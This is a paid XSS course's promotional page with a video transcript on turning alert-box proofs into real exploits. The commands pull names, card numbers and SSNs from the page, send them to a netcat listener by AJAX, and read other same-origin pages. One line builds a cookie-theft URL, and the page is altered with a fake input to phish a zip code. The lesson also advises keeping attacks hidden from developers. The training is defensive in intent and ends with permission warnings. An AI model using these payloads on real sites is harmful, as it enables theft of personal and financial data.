How To Create Real XSS Exploits To Attack Websites

1 example 0/3 challenges solved


Description

Learn how to create real, malicious XSS exploits.

Example

Ready for the full course?

What's included?


Learn XSS attacks, exploits, fixes and data breach prevention.

Lifetime access of:

  • Expert-led training
  • Interactive examples
  • Live code challenges
  • Advanced attacks
  • Full exploit development
  • Fixes and prevention
  • Engineering best practices
YES! I'M READY TO MASTER XSS > One time payment for lifelong skills! Just $99/user* * WAY less than the price of an XSS bounty

video transcript

Okay! Okay. I think it's safe to say you're all masters of alerting now, so I want you to write real, grown-up XSS exploits now. You know the kind that can get you jail time if you use them where you shouldn't?

... don't do that.

Hello, world! I'm Jesse from Chef Secure, and I'm finally ready to deliver on my promise to teach you to how to use XSS attacks like a cybercriminal would.

Now, you may be required to make a decision, or influence a decision maker, on how to prioritize fixing an XSS vulnerability when you have a bunch of other things going on at the same time. And in order to do that effectively, you need to understand the full impact that a vulnerability can have.

And I know there are thousands of security folks tell you that fixing vulnerabilities should always be number one priority, so I'm not gonna do that.

Instead, for this recipe, you are now a cybercriminal hoping that vulnerabilities don't get fixed.

So set your favorite function aside for now, and let's see how to make things a bit more interesting.

The real difference between simply launching an alert or writing a malicious exploit is very simple.

Write more JavaScript.

Do you wanna steal private information?

Do it in JavaScript.

Want to... change what's on a webpage?

Do it in JavaScript.

Or do you wanna share the cool ransomware you've developed or mine cryptocurrency for some extra money?

JavaScript.

My point is, if you wanna get good at writing exploits, you need to have a solid understanding of how to write JavaScript. And there are three main things you're gonna need to know.

The first is how to steal data from a webpage.

In JavaScript, stealing data is as simple as getting the element and retrieving its value.

Go to the Exploit Development example for this recipe below.

Let's first steal the name, Mackenzie Cache, from the input element.

Our first step is to right click and inspect the element to see how we're gonna get it.

Here the element has the id of name. So open your console and set a variable for the element with:

n=document.getElementById('name')

Next you just need to get the value. For inputs and textareas dot value is all you need. so n.value will give you the name.

n.value

Wait, wait!

What if this were an empty input instead? In this case you need to listen for when it changes. So go ahead and clear out the input. Then go back to your console, and use:

n.addEventListener()

Then pass in the event, change, as the first argument, and the second argument will be an event handler function.

n.addEventListener('change', )

For the event handler, you could define a function first, if you wanted, like this.

function handler(){console.log(this.value)};n.addEventListener('change', handler)

But let's save a little space and use an inline, anonymous function instead.

So we're gonna type Inside the curly brackets, we'll just log the value here with console.log then this.value since the keyword this refers to the element that received the event. Then close the function up, and close the outer function. And hit enter.

n.addEventListener('change', function(){console.log(this.value)})

You could use an arrow function if you wanted, but arrow functions don't give you a this keyword, so you'll have to pass in an event argument and use event.target.value.

(e)=>console.log(e.target.value)

Now every time the input gets changed, it'll call your function and log the value to the console. So go ahead and try it out. Type in something to update the input, then click outside or hit enter like you're submitting a form. And you'll see the new value logged to your console.

Next, let's steal that credit card number.

Inspect the credit card number, and you'll see there is no id, but there is a class attribute with the value ccn for credit card number.

So in the console, type:

c=document.getElementsByClassName('ccn')

Instead of an element you got an HTMLCollection. This is because, unlike ids, many elements can share the same class name. so to get the actual element, you need to use square brackets containing the elements index, or position, within the collection.

Like most programming languages, indexing in JavaScript starts at zero. And since this is the only element in the collection, you'll just use a zero inside the square brackets.

So push up in the console to retrieve the last command. then add square brackets containing zero. And then you have the element.

c=document.getElementsByClassName('ccn')[0]

Now since this isn't an input or textarea, .value isn't gonna work here. So you need to get the text content instead, using:

c=document.getElementsByClassName('ccn')[0].textContent

And, congratulations, you've been approved for a brand new credit card.

Let's steal one more thing before we move on. Go back to the inspector to look at the elements again. Right after the credit card number, there's a div tag containing a social security number as a data attribute.

Now, without a class or an id, you can still grab the element using its tags name. So do:

document.getElementsByTagName('div')

You can see in the HTMLCollection that's returned, it's neither of the first two, because it doesn't have an id of inputs , and it doesn't have a class name of styled-input . So, since it's the third element, you're gonna need to use square brackets with the index of 2 to retrieve the element.

You can then use .getAttribute, then provide the attribute name 'data-ssn'

document.getElementsByTagName('div').getAttribute('data-ssn')

For data attributes you can also drop the data- prefix and then use .dataset.camelCaseName, so in this case it's just ssn.

document.getElementsByTagName('div').dataset.ssn

And now you've got yourself a brand new social security number.

Here's a tip: if there's a unique way to identify an element, say, using it's attributes, you can use document.querySelector, which returns the first element it finds that matches your selector.

Selectors can be made with tag names, hashed ids, dotted class names or with attributes like I'm gonna show next.

Let's try it in the console. For the credit card number, you can use

document.querySelector('p[class="ccn"]')

And that's the credit card element.

And for the social security number, just use

document.querySelector('div[data-ssn]')

Then you've got the element.

With this stolen data, now you just need to send it back to yourself. So here's the second thing you're gonna need to know: making requests invisible to the user.

Remember, you don't ever want your attacks to get caught, because that just gives the web developers a greater chance of finding your exploit so you don't wanna make any top-level requests that change the browser window, instead, you'll make background requests using AJAX.

Now if you have a server you can set up quickly, you can try it out. But if not, you can just watch me do it here, but at least follow along in your console for the AJAX code.

First, I'm gonna open a new terminal and use netcat to start a server, using nc -l to listen for connections, followed by the port number 1337.

nc -l 1337

Since the example is served over HTTPS, the browser's gonna block AJAX requests with a mixed-content error, because my server is only serving over HTTP.

So I'm just gonna copy the example and run it locally to demonstrate, but in the real world, you'd simply have a proper HTTPS server set up already.

So let's get started.

Right click on the page, select view page source, copy all the HTML, then open a new file on your computer called ajax-exploit.html.

Paste in the code, and remove the stylesheet and script tags since we won't need them.

Save the file. Then open ajax-exploit.html in your browser, and open a new browser console.

First let's get the data to steal like we did earlier. So we'll have:

n=document.getElementById('name').value
    c=document.querySelector('p[class="ccn"]')
    s=document.querySelector('div[data-ssn]')

So now let's steal the data with AJAX.

Make a new request using

req=new XMLHTTPRequest()

Then open and prepare the request with

req.open()

The first argument is the type of request, and we'll use 'POST' and the second argument is the server colon for the port, 1337

req.open('POST','http://localhost:1337')

Then call send with our data as the argument.

req.send()

And our data's going to be an object containing the values that we stole.

req.send({name:n,card:c,ssn:s})

Similar to encoding data in GET requests, we also need to encode data in JSON or JavaScript Object Notation, simply by wrapping our object inside a JSON.stringify call. Then hit enter to send it off.

req.send(JSON.stringify({name:n,card:c,ssn:s}))

And the server has received the request with the stolen data.

HEY! This is important!

AJAX requests can be used for more than just sending data that lives on a vulnerable webpage back to your attack server. For instance, if the data you want to steal lives on a webpage that doesn't have a vulnerability on the same site, you can use a GET request from the vulnerable page to the non-vulnerable page to get the stat you want to steal first, and then send it back to your server.

Let's go back to the original Exploit Development example again.

Open the console on the page.

We're gonna steal another page from the website by first creating a new request.

req=new XMLHTTPRequest()

Then open it and we'll steal the XSS Polyglot example page with and the second argument will be a relative URL

req.open('GET','/examples/xss-polyglot')

Then we need to handle the response, so we'll set an onload handler. Then we'll use an arrow function to log the response to the console.

req.onload=()=>console.log(req.response)

Instead of logging here, you'd actually take the data you want to steal and send it back to your server, which you already know how to do.

Then finally, send the request with

req.send()

And then you see the XSS Polyglot example page logged to the console.

Another exciting thing you can do with AJAX requests is to perform actions for a user by making POST requests.

You can do things like chaining account settings, or deleting information. All you need to know for this is what URL you need to POST to and what data needs to be sent.

req.open('POST',url)
    req.setHeader(header, value)
    req.send(data)

So even if you can't steal a user's session cookie to hijack their account,

'https://example.com/?cookie=' + document.cookie

you can still make their browser do the dirty work for you instead. And this is exactly why HTTPOnly cookies don't fix XSS.

* HTTPOnly Cookies block JS access

Moving on!

The third thing you're gonna need know is how to create new elements on the page.

document.elementusCreatus! I mean... document.createElement lets you create new elements in JavaScript.

If the data you want isn't available where the vulnerability is, and you can't pull it from another webpage, just ask for it.

Try this for the user's zip code.

We're gonna need an input element, so let's create that in the console with

i=document.createElement('input')

Then add a placeholder attribute with

i.setAttribute('placeholder','zip code')

You see at the top, there's a div with the id of inputs that contains the other input element. So let's add it there. So first, let's get that element with:

document.getElementById('inputs').appendChild(i)

Now go back and look at the page.

This is lookin' awfully suspicious. The input doesn't look anything like the other, so we need to use the same styles the website uses for a successful exploit. I'm just gonna take a shortcut here and copy the input from the top.

So right click the input. Select inspect. Click on the parent div that has the styled-input class Then right click, select copy then copy outerHTML

This will copy the entire input group, so we can reuse the HTML again.

Now we can just replace the input we added with

i.outerHMTL=

paste in the HTML you just copied Then we need to update it for the zip code by changing the input id to zip, removing the value, then changing the label to say Zip Code

After this, our string can't have any newlines in it, so let's go ahead and delete those.

Then finally close off our string with another single quote. Hit enter, and you'll see that the input now looks exactly as it should.

If you need to provide text to explain anything or give direction, you can just create a paragraph element and then set it's textContent to your message.

So in the console type:

p=document.createElement('p')

Then we'll append it after our input, so

document.getElementById('inputs').appendChild(p)

Yeah! I'd fall for that.

Another way to change the page is with the shortcut of element.innerHTML and setting that equal to your HTML string or you can use element.outerHTML to replace the entire contents of the element like we did with the input group.

It's important to note that with script elements you have to use document.createElement, otherwise your script won't run.

* or document.write

To put it all together, instead of your attacks just alerting, just write some working JavaScript code for your exploit, and separate each command with a semicolon inside your payload.

And if there aren't enough characters available for your payload, you'll just need to create a new script element and pull your exploit in from somewhere else.

And, finally, when working with exploits, always understand they need to be used for educational purposes only!

And if you do develop exploits and there isn't a patch released yet, make sure that exploit doesn't get released to the public.

And MOST importantly!

Never develop or use an exploit against an application until you get permission from the owner FIRST, unless you like the thought of being fired, sued, extradited or put in prison.

And even if you do like the sound of that, still, don't do it.